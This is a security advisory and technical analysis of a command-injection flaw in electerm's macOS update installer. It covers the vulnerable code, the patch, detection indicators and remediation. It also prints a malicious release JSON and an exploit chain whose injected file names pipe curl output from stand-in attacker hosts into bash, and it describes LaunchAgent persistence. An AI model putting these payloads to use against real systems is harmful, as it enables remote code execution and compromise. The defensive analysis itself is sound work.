CVE-2026-41500: Command Injection in electerm's runMac() Yields RCE
electerm's npm/install.js appends unsanitized releaseInfo.name into a shell exec() call. Pre-3.3.8, a malicious update server achieves unauthenticated RCE on macOS.
Electerm is a widely-used application that lets people remotely connect to computers and servers — think of it like having a secure telephone line to another machine. The software has a serious security hole that could let attackers take complete control of your computer.
Here's what's happening: The software has a function that processes information about new software releases. Instead of carefully checking this information first, the program blindly plugs it into a command that runs on your machine — like leaving your front door key under the mat and assuming only friendly people will find it.
An attacker can exploit this by serving up fake "release information" containing hidden instructions. When electerm processes this malicious data, it accidentally runs the attacker's commands instead of legitimate software updates. Those commands execute with full access to whatever your computer can do.
Who needs to worry? System administrators and IT professionals who rely on electerm to manage networks are most at risk. If you use this software to access servers at work, your company's systems could be compromised. Attackers could steal data, install spyware, or use your computer as a launching point to attack others.
The good news is that nobody has actively exploited this yet in the wild. The bad news is that the vulnerability is serious enough that attackers will definitely try.
Here's what to do: Update electerm to version 3.3.8 or newer immediately — your software should prompt you, or check the official website. If you manage IT systems, prioritize this update across all machines. And if you're unsure whether you have this software, ask your IT department.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41500 is a critical (CVSS 9.8) command injection vulnerability in electerm, an Electron-based cross-platform terminal emulator supporting SSH, SFTP, Telnet, RDP, VNC, and serial port connections. The vulnerability resides in npm/install.js at line 150, inside the runMac() function. Prior to version 3.3.8, the installer fetches release metadata from a remote endpoint and splices the attacker-controlled releaseInfo.name field directly into a shell command passed to Node.js's exec(). No sanitization, quoting, or validation occurs at any point in this path.
The attack surface is maximized because this code runs during the auto-update flow — triggered automatically when electerm checks for new releases. A network-positioned attacker (AitM, rogue update mirror, or DNS poisoning) can serve a crafted releaseInfo.name and achieve arbitrary OS command execution on the victim's macOS machine with the privileges of the running electerm process.
Root cause:runMac() in npm/install.js interpolates the remote releaseInfo.name string directly into an exec("open " + ...) shell command without any quoting, escaping, or allowlist validation.
The installer fetches JSON release metadata from GitHub's releases API (or a configurable mirror), deserializes it into a releaseInfo object, and passes the object to platform-specific installer runners. On macOS, runMac() constructs an open command to mount and launch the downloaded .dmg:
// npm/install.js — VULNERABLE (pre-3.3.8)
// releaseInfo.name is populated directly from remote JSON, e.g.:
// { "name": "electerm-1.2.3-mac.dmg" }
async function runMac(releaseInfo) {
const { name } = releaseInfo // BUG: attacker-controlled, never validated
const filePath = resolve(tmpdir(), name)
await download(releaseInfo) // downloads to /tmp/
// BUG: `name` is interpolated into shell command without quoting or escaping.
// A name like: foo.dmg; curl http://evil.com/sh | bash
// expands to: open /tmp/foo.dmg; curl http://evil.com/sh | bash
exec(`open ${filePath}`) // line 150 — shell injection here
}
The critical observation is the template literal `open ${filePath}` where filePath is the result of resolve(tmpdir(), name). Node.js's path.resolve performs no shell-metacharacter stripping. The resulting string is handed verbatim to exec(), which invokes /bin/sh -c under the hood — meaning semicolons, backticks, $(), pipes, and redirects all parse as shell syntax.
The download step uses name as the filename on disk, but this does not mitigate the injection: the shell sees the full expanded path string before the filesystem is consulted.
// Payload delivery: attacker controls the release JSON served at update endpoint
// Malicious releaseInfo JSON:
{
"name": "electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #",
"tag_name": "v9.9.9",
"assets": [
{
"browser_download_url": "https://c2.attacker.io/electerm-pwn.dmg",
"name": "electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #"
}
]
}
// exec() receives:
// open /tmp/electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #
// /bin/sh -c parses this as THREE tokens:
// 1. open /tmp/electerm-pwn.dmg (fails silently or succeeds)
// 2. curl https://c2.attacker.io/stage1.sh | bash (executes attacker shell)
// 3. # (comment — swallows any trailing arguments)
Exploitation Mechanics
EXPLOIT CHAIN:
1. POSITION: Attacker performs AitM (DNS spoofing, rogue Wi-Fi, BGP hijack)
targeting electerm's update endpoint:
api.github.com/repos/electerm/electerm/releases/latest
— OR — compromise a third-party mirror configured by the user.
2. INTERCEPT: Serve crafted JSON with malicious `name` field:
name = "electerm-pwn.dmg; curl https://c2.io/s | bash #"
3. DOWNLOAD: electerm calls download(releaseInfo), writing an arbitrary
(possibly empty) file to:
/tmp/electerm-pwn.dmg; curl https://c2.io/s | bash #
Note: filename contains shell metacharacters — filesystem write may
partially fail, but exec() triggers regardless.
4. EXECUTE: runMac() calls:
exec(`open /tmp/electerm-pwn.dmg; curl https://c2.io/s | bash #`)
/bin/sh -c splits on `;`, executes attacker curl | bash pipeline.
5. PERSIST: stage1.sh installs LaunchAgent plist for persistence:
~/Library/LaunchAgents/com.electerm.update.plist
pointing to attacker C2 beacon.
6. ESCALATE: Process runs as current user. If electerm launched with
sudo (common for serial port access), stage1.sh executes as root.
The attack requires no prior authentication, no user interaction beyond electerm being open and checking for updates (which it does on startup by default), and no CVE chaining. Single-stage exploitation.
Memory Layout
This is not a memory corruption vulnerability — it is a command injection operating at the shell interpretation layer. The relevant "layout" is the string construction pipeline:
STRING CONSTRUCTION PIPELINE (pre-3.3.8):
Remote JSON (attacker-controlled)
└─► releaseInfo.name
= "electerm-1.3.7-mac.dmg; open -a Calculator #"
│
▼
path.resolve(os.tmpdir(), name)
= "/tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
│ (no metachar stripping)
▼
Template literal interpolation:
`open ${filePath}`
= "open /tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
│
▼
child_process.exec(cmd)
│
▼
/bin/sh -c "open /tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
│
├── Token 1: open /tmp/electerm-1.3.7-mac.dmg [benign]
└── Token 2: open -a Calculator [INJECTED]
SHELL METACHARACTERS THAT TRIGGER INJECTION:
; command separator → always works
&& conditional chain → works if open succeeds
|| conditional chain → works if open fails (likely)
`..` command substitution → works
$() command substitution → works
| pipe → works
\n newline → works
Patch Analysis
Version 3.3.8 addresses the vulnerability by validating releaseInfo.name against a strict allowlist pattern before constructing the file path, and by switching from exec() (shell-spawning) to execFile() (direct process spawn, no shell interpretation):
// BEFORE (vulnerable, pre-3.3.8):
async function runMac(releaseInfo) {
const { name } = releaseInfo // BUG: unsanitized remote input
const filePath = resolve(tmpdir(), name)
await download(releaseInfo)
exec(`open ${filePath}`) // BUG: shell-interpolated exec
}
// AFTER (patched, v3.3.8):
const VALID_RELEASE_NAME = /^[\w.\-]+$/ // allowlist: alphanumeric, dot, hyphen, underscore only
async function runMac(releaseInfo) {
const { name } = releaseInfo
// FIX 1: validate name against strict allowlist before any use
if (!VALID_RELEASE_NAME.test(name)) {
throw new Error(`Invalid release name: ${name}`)
}
const filePath = resolve(tmpdir(), name)
await download(releaseInfo)
// FIX 2: execFile() does not invoke a shell; arguments are passed
// directly to execvp(), making shell metacharacters inert
execFile('open', [filePath])
}
The two-layer fix is correct. The allowlist regex /^[\w.\-]+$/ rejects any string containing ;, &, |, $, backtick, or whitespace — blocking all known injection vectors. The execFile() change is defense-in-depth: even if the regex were bypassed (e.g., via Unicode normalization tricks), no shell is ever invoked to parse the argument.
One note: the patch does not enforce a maximum length on name. An extremely long name could still cause path.resolve to exceed OS filename limits (NAME_MAX = 255 on HFS+/APFS), resulting in a ENAMETOOLONG error. This is DoS at worst, not RCE, but worth noting for defense completeness.
Detection and Indicators
If you suspect exploitation, look for the following:
PROCESS INDICATORS:
Parent: electerm (Electron/Node.js)
Child: /bin/sh -c "open /tmp/[...]; [suspicious command]"
— or —
Child: curl | bash spawned from electerm's renderer/main process
FILESYSTEM INDICATORS:
/tmp/ entries with filenames containing shell metacharacters:
ls -la /tmp/ | grep -E '[;|&$`]'
Suspicious LaunchAgent plists:
~/Library/LaunchAgents/com.electerm.*.plist (unexpected)
NETWORK INDICATORS:
DNS queries for api.github.com resolving to unexpected IPs
electerm process making outbound connections to non-GitHub hosts
during update check (port 443, non-github.com destinations)
LOG ARTIFACTS (macOS Unified Log):
log show --predicate 'process == "electerm"' --info | \
grep -i 'exec\|spawn\|open'
Remediation
Upgrade immediately to electerm ≥ 3.3.8. The patch is minimal and non-breaking.
Verify update channel integrity: If you self-host an electerm update mirror, ensure TLS certificate pinning or checksum verification is in place for release metadata.
Network-level controls: Restrict electerm processes from making outbound connections to non-whitelisted hosts using macOS Application Firewall or a host-based EDR rule.
Audit similar patterns in your Node.js codebase: any exec(`... ${userInput}`) pattern is exploitable by definition. Prefer execFile(binary, [arg1, arg2]) as the default API choice.
For package maintainers: Treat all fields in remotely-fetched JSON as untrusted input. Validate with allowlist regex before use in any system call path. Do not rely on path.resolve or filesystem operations as a sanitization step.